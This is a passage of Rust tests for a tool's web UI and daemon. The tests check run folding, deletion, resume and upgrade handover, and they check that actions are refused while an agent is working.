12985 run-derived panels on an empty run history - the queue panel has to render \
12986 regardless: {gated}"
12987 );
12988 }
12989
12990 #[test]
12991 fn web_ui_delete_contract_in_front_end() {
12992 assert!(APP_JS.contains("deleteRun:"));
12994 assert!(APP_JS.contains("deleteTask:"));
12995
12996 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12998 ..APP_JS.find("function renderRuns").unwrap()];
12999 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13000
13001 assert!(APP_JS.contains("renderRunDelete"));
13003 assert!(APP_JS.contains("runDeleteReason"));
13004 assert!(APP_JS.contains("magi fold"));
13005 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13006
13007 assert!(APP_JS.contains("cancel.focus"));
13009 assert!(APP_JS.contains("armedRunDelete"));
13010 assert!(APP_JS.contains("renderTaskDeleteBox"));
13011 assert!(APP_JS.contains("armed${cap(key)}"));
13012
13013 assert!(APP_JS.contains("disabled: status === \"running\""));
13015 }
13016
13017 #[test]
13037 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13038 let build = APP_JS
13039 .find("function createRunCard")
13040 .expect("createRunCard exists");
13041 let update = APP_JS
13042 .find("function updateRunCard")
13043 .expect("updateRunCard exists");
13044 let end = APP_JS
13045 .find("function renderRuns")
13046 .expect("renderRuns exists");
13047
13048 let builder = &APP_JS[build..update];
13050 let open = builder.find("refs = {").expect("createRunCard sets refs");
13051 let literal = &builder[open + "refs = {".len()..];
13052 let close = literal.find('}').expect("the refs literal is closed");
13053 let published: HashSet<&str> = literal[..close]
13054 .split(',')
13055 .filter_map(|entry| entry.split(':').next())
13057 .map(str::trim)
13058 .filter(|name| !name.is_empty())
13059 .collect();
13060 assert!(
13061 published.len() > 5,
13062 "the refs literal did not parse into names: {published:?}"
13063 );
13064
13065 let mut used: Vec<&str> = Vec::new();
13068 let updaters = &APP_JS[update..end];
13069 for (at, _) in updaters.match_indices("r.") {
13070 let before = updaters[..at].chars().next_back();
13073 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13074 continue;
13075 }
13076 let rest = &updaters[at + 2..];
13077 let len = rest
13078 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13079 .unwrap_or(rest.len());
13080 if len > 0 {
13081 used.push(&rest[..len]);
13082 }
13083 }
13084 assert!(
13085 used.len() > 5,
13086 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13087 );
13088
13089 let missing: Vec<&str> = used
13090 .iter()
13091 .copied()
13092 .filter(|name| !published.contains(name))
13093 .collect();
13094 assert!(
13095 missing.is_empty(),
13096 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13097 never put in `refs` - every card will throw and the list will \
13098 render empty under a count line that says otherwise. Published: \
13099 {published:?}"
13100 );
13101 }
13102
13103 #[tokio::test]
13104 async fn folding_from_the_phone_reports_what_it_removed() {
13105 let fx = Fixture::start().await;
13106 let runs = fx.runs();
13107
13108 let id = "20260901-000000-fold";
13112 write_run(&runs, id, RunStatus::Stalled);
13113 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13114 assert_eq!(res.status, 200);
13115 assert_eq!(res.json()["removed_count"], 0);
13116 assert_eq!(res.json()["run"], id);
13117 assert!(
13118 runs.join(id).exists(),
13119 "a fold keeps the run's record; only the worktrees go"
13120 );
13121 }
13122
13123 #[tokio::test]
13124 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13125 let fx = Fixture::start().await;
13126 let runs = fx.runs();
13127 let wt = fx.home.path().join("wt").join("magi").join("dead");
13128 let id = "20260901-000000-dead";
13129 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13130 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13131 std::fs::create_dir_all(&wt).expect("worktree dir");
13132
13133 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13134 assert_eq!(res.status, 200, "{}", res.body);
13135 assert!(
13136 res.json()["removed_count"].as_u64().unwrap() > 0,
13137 "the worktree this build could not read a state for still went"
13138 );
13139 assert!(
13140 !runs.join(id).exists(),
13141 "an unreadable run has no candidate list to fold selectively, so \
13142 the whole record goes - same as `magi fold` on the CLI"
13143 );
13144 }
13145
13146 #[tokio::test]
13147 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13148 let fx = Fixture::start().await;
13149 let runs = fx.runs();
13150 let wt = fx.home.path().join("wt").join("magi").join("gone");
13151 let id = "20260901-000000-gone";
13152 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13153 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13154 std::fs::create_dir_all(&wt).expect("worktree dir");
13155
13156 let res = fx.delete(&format!("/api/runs/{id}")).await;
13157 assert_eq!(res.status, 204, "{}", res.body);
13158 assert!(!runs.join(id).exists(), "the broken record is gone");
13159 assert!(!wt.exists(), "its worktree is gone too");
13160 }
13161
13162 #[tokio::test]
13163 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13164 let fx = Fixture::start().await;
13165 let runs = fx.runs();
13166 let id = "20260901-000000-live";
13167 write_run(&runs, id, RunStatus::Implementing);
13168
13169 let mut beat = crate::daemon::Status::new();
13170 beat.current = vec![crate::daemon::Current {
13171 task: "20260901-000000-task".to_owned(),
13172 run: id.to_owned(),
13173 }];
13174 beat.updated_at = jiff::Timestamp::now();
13175 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13176 .expect("publish a heartbeat");
13177
13178 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13179 assert_eq!(res.status, 409);
13180 assert!(
13181 res.json()["error"]
13182 .as_str()
13183 .unwrap()
13184 .contains("live daemon"),
13185 "folding under a running agent would pull its worktree away"
13186 );
13187 }
13188
13189 #[tokio::test]
13190 async fn fold_merged_requires_a_pr_url() {
13191 let fx = Fixture::start().await;
13192 let runs = fx.runs();
13193 let id = "20260901-000000-nourl";
13194 write_run(&runs, id, RunStatus::Blocked);
13195
13196 let res = fx
13197 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13198 .await;
13199 assert_eq!(res.status, 400, "{}", res.body);
13200
13201 let blank = fx
13202 .post(
13203 &format!("/api/runs/{id}/fold-merged"),
13204 Some(r#"{"pr_url":" "}"#),
13205 )
13206 .await;
13207 assert_eq!(blank.status, 400, "{}", blank.body);
13208 }
13209
13210 #[tokio::test]
13211 async fn fold_merged_is_404_for_an_unknown_run() {
13212 let fx = Fixture::start().await;
13213 let res = fx
13214 .post(
13215 "/api/runs/nosuchrun/fold-merged",
13216 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13217 )
13218 .await;
13219 assert_eq!(res.status, 404, "{}", res.body);
13220 }
13221
13222 #[tokio::test]
13223 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13224 let fx = Fixture::start().await;
13225 let runs = fx.runs();
13226 let id = "20260901-000000-livemerge";
13227 write_run(&runs, id, RunStatus::Blocked);
13228
13229 let mut beat = crate::daemon::Status::new();
13230 beat.current = vec![crate::daemon::Current {
13231 task: "20260901-000000-task".to_owned(),
13232 run: id.to_owned(),
13233 }];
13234 beat.updated_at = jiff::Timestamp::now();
13235 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13236 .expect("publish a heartbeat");
13237
13238 let res = fx
13239 .post(
13240 &format!("/api/runs/{id}/fold-merged"),
13241 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13242 )
13243 .await;
13244 assert_eq!(res.status, 409, "{}", res.body);
13245 assert!(
13246 res.json()["error"]
13247 .as_str()
13248 .unwrap()
13249 .contains("live daemon"),
13250 "correcting a run's merge underneath a running agent would race \
13251 whatever it is doing to the same `status`/`merge` fields"
13252 );
13253 }
13254
13255 #[tokio::test]
13260 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13261 let fx = Fixture::start().await;
13262 let runs = fx.runs();
13263 let id = "20260901-000000-unconfirmed";
13264 write_run(&runs, id, RunStatus::Blocked);
13265
13266 let res = fx
13267 .post(
13268 &format!("/api/runs/{id}/fold-merged"),
13269 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13270 )
13271 .await;
13272 assert_eq!(res.status, 400, "{}", res.body);
13273 assert_eq!(
13274 read_run(&runs, id).unwrap().status,
13275 RunStatus::Blocked,
13276 "a pull request that could not be confirmed merged must leave \
13277 the run exactly where it was"
13278 );
13279 }
13280
13281 #[tokio::test]
13282 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13283 let fx = Fixture::start().await;
13284 let runs = fx.runs();
13285
13286 for (status, word) in [
13292 (RunStatus::Merged, "merged"),
13293 (RunStatus::Ready, "ready"),
13294 (RunStatus::Failed, "failed"),
13295 ] {
13296 let id = format!("20260901-000000-{}", &word[..4]);
13297 write_run(&runs, &id, status);
13298 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13299 assert_eq!(res.status, 409, "{word} must not be resumable");
13300 let err = res.json()["error"].as_str().unwrap().to_owned();
13301 assert!(err.contains(word), "the refusal names the status: {err}");
13302 }
13303
13304 let mid = "20260901-000000-midf";
13309 write_run(&runs, mid, RunStatus::Reviewing);
13310 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13311 assert_eq!(res.status, 202, "an interrupted run is resumable");
13312 }
13313
13314 #[tokio::test]
13315 async fn resume_is_refused_while_the_loop_is_running() {
13316 let fx = Fixture::start().await;
13317 let runs = fx.runs();
13318 let stalled = "20260901-000000-stal";
13319 write_run(&runs, stalled, RunStatus::Stalled);
13320
13321 let mut beat = crate::daemon::Status::new();
13325 beat.current = vec![crate::daemon::Current {
13326 task: "20260901-000000-task".to_owned(),
13327 run: "20260901-000000-othr".to_owned(),
13328 }];
13329 beat.updated_at = jiff::Timestamp::now();
13330 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13331 .expect("publish a heartbeat");
13332
13333 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13334 assert_eq!(res.status, 409);
13335 let err = res.json()["error"].as_str().unwrap().to_owned();
13336 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13337 assert!(err.contains("stop it first"), "{err}");
13338 }
13339
13340 #[test]
13341 fn a_run_cannot_be_resumed_twice_at_once() {
13342 let home = TempDir::new().expect("temp home");
13343 let ui = Ui::new(
13344 Queue::at(home.path().join("queue")),
13345 Questions::at(home.path().join("questions")),
13346 Talks::at(home.path().join("talks")),
13347 home.path().join("runs"),
13348 home.path().to_path_buf(),
13349 PathBuf::from("/repo"),
13350 )
13351 .with_worktrees_root(home.path().join("wt"));
13352 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13353 let again = ui.begin_resume("20260901-000000-once");
13354 assert!(again.is_err(), "a second tap must not start a second graph");
13355 drop(first);
13356 assert!(
13357 ui.begin_resume("20260901-000000-once").is_ok(),
13358 "and the claim is released when the attempt ends"
13359 );
13360 }
13361
13362 #[test]
13363 fn talk_thinking_tracks_only_its_held_turn_claim() {
13364 let home = TempDir::new().expect("temp home");
13365 let ui = Ui::new(
13366 Queue::at(home.path().join("queue")),
13367 Questions::at(home.path().join("questions")),
13368 Talks::at(home.path().join("talks")),
13369 home.path().join("runs"),
13370 home.path().to_path_buf(),
13371 PathBuf::from("/repo"),
13372 )
13373 .with_worktrees_root(home.path().join("wt"));
13374 let id = "20260901-000000-once";
13375
13376 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13377 let turn = ui.begin_talk_turn(id).expect("claim turn");
13378 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13379 assert!(
13380 !ui.is_thinking("20260901-000000-other"),
13381 "one talk's turn does not make another talk busy"
13382 );
13383 drop(turn);
13384 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13385 }
13386
13387 #[tokio::test]
13388 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13389 let fx = Fixture::start().await;
13390 let mut beat = crate::daemon::Status::new();
13394 beat.pid = 4321;
13395 beat.updated_at = jiff::Timestamp::now();
13396 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13397 .expect("publish a heartbeat");
13398
13399 let res = fx.post("/api/upgrade", None).await;
13400 assert_eq!(res.status, 409);
13401 let err = res.json()["error"].as_str().unwrap().to_owned();
13402 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13403 assert!(err.contains("old one against the same queue"), "{err}");
13404 }
13405
13406 #[test]
13413 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13414 assert!(!should_spawn_recheck(&crate::config::Update {
13415 mode: UpdateMode::Off,
13416 interval: None,
13417 }));
13418
13419 unsafe {
13422 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13423 }
13424 let killed = should_spawn_recheck(&crate::config::Update {
13425 mode: UpdateMode::Notify,
13426 interval: None,
13427 });
13428 unsafe {
13429 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13430 }
13431 assert!(
13432 !killed,
13433 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13434 one-time startup check"
13435 );
13436
13437 assert!(should_spawn_recheck(&crate::config::Update {
13438 mode: UpdateMode::Notify,
13439 interval: None,
13440 }));
13441 }
13442
13443 #[test]
13449 fn recheck_poll_period_tracks_a_short_configured_interval() {
13450 let short = crate::config::Update {
13451 mode: UpdateMode::Notify,
13452 interval: Some("1m".to_owned()),
13453 };
13454 let period = recheck_poll_period(&short);
13455 assert!(
13456 period <= Duration::from_secs(30),
13457 "a one-minute interval must wake the task far sooner than the \
13458 default ceiling, or the deck would not notice within the \
13459 interval the operator configured: got {period:?}"
13460 );
13461
13462 let default = crate::config::Update {
13463 mode: UpdateMode::Notify,
13464 interval: None,
13465 };
13466 assert_eq!(
13467 recheck_poll_period(&default),
13468 UPDATE_RECHECK_POLL_MAX,
13469 "the default day-long interval should poll at the (capped) \
13470 ceiling rather than needlessly often"
13471 );
13472 }
13473
13474 #[test]
13482 fn recheck_skips_the_network_before_the_interval_elapses() {
13483 let dir = TempDir::new().expect("temp dir");
13484 let path = dir.path().join("state.json");
13485 let state = kaishin::UpdateCheckState {
13486 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13487 last_known_latest: None,
13488 last_known_url: None,
13489 };
13490 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13491
13492 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13493 assert!(
13494 !update_recheck_due(&checker, None),
13495 "a check made moments ago must not be repeated before the \
13496 configured interval elapses"
13497 );
13498 }
13499
13500 #[test]
13506 fn recheck_defers_to_an_upgrade_already_in_flight() {
13507 let dir = TempDir::new().expect("temp dir");
13508 let path = dir.path().join("state.json");
13509 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13510 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13511
13512 assert!(
13513 !update_recheck_due(&checker, Some(&progress)),
13514 "a recheck must not run while an upgrade this deck started is \
13515 still moving"
13516 );
13517 }
13518
13519 #[tokio::test]
13520 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13521 unsafe {
13533 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13534 }
13535 let fx = Fixture::start().await;
13536 let res = fx.post("/api/upgrade", None).await;
13537 unsafe {
13538 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13539 }
13540 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13541 let body = res.json();
13542 assert!(body["to"].is_null(), "there was no release to move to");
13543 assert!(body["parked"].is_null(), "and nothing was parked");
13544 assert!(
13545 body["detail"]
13546 .as_str()
13547 .unwrap()
13548 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13549 "{body:?}"
13550 );
13551 }
13552
13553 #[tokio::test]
13554 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13555 let repo = TempDir::new().expect("repo dir");
13571 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13572 .expect("write magi.toml");
13573 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13574
13575 let res = fx.post("/api/upgrade", None).await;
13581 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13582 let body = res.json();
13583 assert!(body["to"].is_null(), "there was no release to move to");
13584 assert!(body["parked"].is_null(), "and nothing was parked");
13585 assert!(
13586 body["detail"]
13587 .as_str()
13588 .unwrap()
13589 .contains("nothing restarted"),
13590 "{body:?}"
13591 );
13592 }
13593
13594 #[tokio::test]
13595 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13596 let repo = TempDir::new().expect("repo dir");
13601 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13602 .expect("write magi.toml");
13603 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13604
13605 let health = fx.get("/api/health").await.json();
13606 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13607 assert_eq!(
13608 health["update"]["available"], false,
13609 "checking is off, which reads as \"unknown\", not \"none\""
13610 );
13611 assert!(health["update"]["to"].is_null());
13612 assert!(
13613 health["upgrade"].is_null(),
13614 "nothing has ever asked this deck to upgrade"
13615 );
13616 }
13617
13618 #[tokio::test]
13619 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13620 let fx = Fixture::start().await;
13621 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13622
13623 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13624 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13625 progress.advance(crate::updater::Stage::Parking);
13626 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13627
13628 let health = fx.get("/api/health").await.json();
13629 assert_eq!(health["upgrade"]["stage"], "parking");
13630 assert_eq!(health["upgrade"]["from"], "0.5.1");
13631 assert_eq!(health["upgrade"]["to"], "0.5.2");
13632 let waiting_on = health["upgrade"]["waiting_on"]
13633 .as_str()
13634 .expect("waiting_on is set while parking a known run");
13635 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13636 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13637 }
13638
13639 #[tokio::test]
13640 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13641 let fx = Fixture::start().await;
13642 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13643 progress.advance(crate::updater::Stage::Done);
13644 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13645
13646 let health = fx.get("/api/health").await.json();
13647 assert_eq!(health["upgrade"]["stage"], "done");
13648 assert!(
13649 health["upgrade"]["waiting_on"].is_null(),
13650 "nothing to wait on once it is done"
13651 );
13652 }
13653
13654 #[tokio::test]
13655 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13656 let home = TempDir::new().expect("temp home");
13657 let runs = home.path().join("runs");
13658 std::fs::create_dir_all(&runs).expect("runs dir");
13659 let ui = Ui::new(
13660 Queue::at(home.path().join("queue")),
13661 Questions::at(home.path().join("questions")),
13662 Talks::at(home.path().join("talks")),
13663 runs,
13664 home.path().to_path_buf(),
13665 PathBuf::from("/repo/magi"),
13666 )
13667 .with_launch(launch_idle);
13668 let looping = ui.looping();
13669 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13670 .await
13671 .expect("bind loopback");
13672 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13673
13674 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13675 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13676
13677 hand_over(home.path(), &looping, served, |_| Ok(1))
13678 .await
13679 .expect("hand over");
13680
13681 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13682 assert_eq!(
13683 after.stage,
13684 crate::updater::Stage::Restarting,
13685 "hand_over owns the record through parking and up to restarting; \
13686 the successor is what finishes it"
13687 );
13688 }
13689
13690 #[tokio::test]
13693 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13694 for fail in [false, true] {
13695 let home = TempDir::new().expect("temp home");
13696 let ui = idle_ui(&home);
13697 let looping = ui.looping();
13698 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13699 .await
13700 .expect("bind loopback");
13701 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13702 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13703 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13704
13705 let calls = std::sync::atomic::AtomicUsize::new(0);
13706 let outcome = hand_over(home.path(), &looping, served, |_| {
13707 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13708 if fail {
13709 anyhow::bail!("no exec")
13710 } else {
13711 Ok(4242)
13712 }
13713 })
13714 .await;
13715 assert_eq!(outcome.is_err(), fail);
13716 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13717
13718 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13719 .expect("upgrade.log is written under the home");
13720 for step in [
13721 "entered",
13722 "finish_loop",
13723 "listener released",
13724 "starting the successor",
13725 ] {
13726 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13727 }
13728 assert!(
13729 log.contains(if fail { "did not start" } else { "pid 4242" }),
13730 "{log}"
13731 );
13732 }
13733 }
13734
13735 #[tokio::test]
13738 async fn the_handover_signal_wakes_one_waiter_once() {
13739 let signal = Notify::new();
13740 signal.notify_one();
13742 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13743 .await
13744 .expect("an early signal is still seen");
13745 assert!(
13747 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13748 .await
13749 .is_err(),
13750 "a consumed signal must not wake a second time"
13751 );
13752 let signal = std::sync::Arc::new(signal);
13754 let waiter = tokio::spawn({
13755 let signal = std::sync::Arc::clone(&signal);
13756 async move { wait_for_handover(&signal).await }
13757 });
13758 tokio::time::sleep(Duration::from_millis(20)).await;
13759 assert!(!waiter.is_finished(), "nothing was signalled yet");
13760 signal.notify_one();
13761 tokio::time::timeout(Duration::from_secs(5), waiter)
13762 .await
13763 .expect("a late signal wakes the waiter")
13764 .expect("join");
13765 }
13766
13767 #[tokio::test]
13768 async fn health_says_how_long_a_handover_has_been_stuck() {
13769 let fx = Fixture::start().await;
13770 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13771 progress.advance(crate::updater::Stage::Replaced);
13772 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13773 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13774
13775 let health = fx.get("/api/health").await.json();
13776 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
13777 assert!(stuck >= 600, "{stuck}");
13778 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
13779 }
13780
13781 fn idle_ui(home: &TempDir) -> Ui {
13782 let runs = home.path().join("runs");
13783 std::fs::create_dir_all(&runs).expect("runs dir");
13784 Ui::new(
13785 Queue::at(home.path().join("queue")),
13786 Questions::at(home.path().join("questions")),
13787 Talks::at(home.path().join("talks")),
13788 runs,
13789 home.path().to_path_buf(),
13790 PathBuf::from("/repo/magi"),
13791 )
13792 .with_launch(launch_idle)
13793 }
13794
13795 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13797 let looping = ui.looping();
13798 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13799 .await
13800 .expect("bind loopback");
13801 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13802 let told = std::sync::Mutex::new(None);
13803 hand_over(home.path(), &looping, served, |resume| {
13804 *told.lock().unwrap() = Some(resume);
13805 Ok(1)
13806 })
13807 .await
13808 .expect("hand over");
13809 told.into_inner().unwrap().expect("successor was started")
13810 }
13811
13812 #[tokio::test]
13813 async fn a_running_loop_is_resumed_by_the_successor() {
13814 let home = TempDir::new().expect("temp home");
13815 let ui = idle_ui(&home);
13816 ui.start_loop(None).expect("start");
13817 ui.park_for_upgrade().expect("park");
13818 for _ in 0..500 {
13820 if !ui.loop_view(None).running {
13821 break;
13822 }
13823 tokio::time::sleep(Duration::from_millis(2)).await;
13824 }
13825 assert!(handed_over(&home, ui).await, "a running loop must resume");
13826
13827 let successor = idle_ui(&home);
13828 assert!(!successor.loop_view(None).running);
13829 assert!(successor.resume_after_handover(true));
13830 assert!(successor.loop_view(None).running);
13831 successor.stop_loop(None, false).expect("stop");
13832 }
13833
13834 #[tokio::test]
13835 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13836 let home = TempDir::new().expect("temp home");
13837 let ui = idle_ui(&home);
13838 ui.start_loop(None).expect("start");
13839 ui.park_for_upgrade().expect("first park");
13840 ui.park_for_upgrade().expect("second park");
13841 assert!(handed_over(&home, ui).await);
13842 }
13843
13844 #[tokio::test]
13845 async fn a_stop_during_the_handover_wait_is_honoured() {
13846 let home = TempDir::new().expect("temp home");
13847 let ui = idle_ui(&home);
13848 ui.start_loop(None).expect("start");
13849 ui.park_for_upgrade().expect("park");
13850 ui.stop_loop(None, false).expect("stop");
13851 assert!(!handed_over(&home, ui).await);
13852 }
13853
13854 #[tokio::test]
13855 async fn an_idle_loop_stays_stopped_across_the_handover() {
13856 let home = TempDir::new().expect("temp home");
13857 let ui = idle_ui(&home);
13858 ui.park_for_upgrade().expect("park");
13859 assert!(!handed_over(&home, ui).await);
13860
13861 let successor = idle_ui(&home);
13862 assert!(!successor.resume_after_handover(false));
13863 assert!(!successor.loop_view(None).running);
13864 }
13865
13866 #[tokio::test]
13867 async fn a_loop_the_operator_stopped_is_not_resumed() {
13868 let home = TempDir::new().expect("temp home");
13869 let ui = idle_ui(&home);
13870 ui.start_loop(None).expect("start");
13871 ui.stop_loop(None, false).expect("stop");
13872 ui.park_for_upgrade().expect("park");
13873 assert!(!handed_over(&home, ui).await);
13874 }
13875
13876 #[test]
13877 fn only_an_explicit_one_requests_a_resume() {
13878 assert!(!resume_requested(None));
13879 assert!(!resume_requested(Some("0".into())));
13880 assert!(!resume_requested(Some("".into())));
13881 assert!(resume_requested(Some("1".into())));
13882 }
13883
13884 #[test]
13885 fn the_upgrade_button_arms_before_it_restarts_anything() {
13886 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13889 assert!(APP_JS.contains("Replace the binary and restart?"));
13890 assert!(APP_JS.contains("function confirmed("));
13891 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13896 assert!(
13900 APP_JS.contains("Parking, then restarting"),
13901 "the button says what it is waiting for"
13902 );
13903 assert!(APP_JS.contains("if (!out.to)"));
13906 }
13907
13908 #[test]
13909 fn stopping_the_loop_arms_but_starting_does_not() {
13910 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13913 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13914 assert!(APP_JS.contains("confirmed(button, question)"));
13915 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13918 assert!(APP_JS.contains("const label = btn.textContent;"));
13919 assert!(!APP_JS.contains("Neither direction is guarded"));
13920 }
13921
13922 #[test]
13923 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13924 assert!(
13925 APP_JS.contains("state.health.version"),
13926 "the operator wants to know what is running even with nothing newer"
13927 );
13928 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13929 }
13930
13931 #[test]
13932 fn the_upgrade_button_names_its_destination() {
13933 assert!(
13934 APP_JS.contains("`Update to ${update.to}`"),
13935 "pressing the button should not be a surprise about what it moves to"
13936 );
13937 }
13938
13939 #[test]
13940 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13941 for stage in ["downloading", "replaced", "parking", "restarting"] {
13942 assert!(
13943 APP_JS.contains(&format!("\"{stage}\"")),
13944 "the phone must be able to tell {stage} apart from the others"
13945 );
13946 }
13947 assert!(APP_JS.contains(".waiting_on"));
13948 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13953 assert!(APP_JS.contains("reconnects on its own"));
13954 }
13955
13956 #[test]
13957 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13958 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13967 ..APP_JS.find("function upgrade(").expect("upgrade")];
13968 assert!(
13969 !body.contains(
13970 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13971 ),
13972 "a failed upgrade must not take the whole strip over the way it used to"
13973 );
13974 assert!(
13975 body.contains("upgradeFailNote"),
13976 "the failure has to reach the loop's own note instead"
13977 );
13978 assert_eq!(
13982 body.matches("upgradeFailNote].filter(Boolean).join")
13983 .count(),
13984 2,
13985 "both loop-why writers (quiet and control) must fold the note in"
13986 );
13987 }
13988
13989 #[test]
13990 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13991 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13994 assert!(APP_JS.contains("function upgradeOverdue("));
13995 }
13996
13997 #[test]
13998 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13999 assert!(
14000 APP_JS.contains("Updated to ${upgradeInfo.to"),
14001 "the operator who asked for the restart wants to know it worked"
14002 );
14003 }
14004
14005 #[test]
14006 fn an_error_is_visible_from_where_the_button_is() {
14007 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14012 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14013 assert!(
14014 alert.contains("position: fixed"),
14015 "an error about the thing under your thumb has to be visible from \
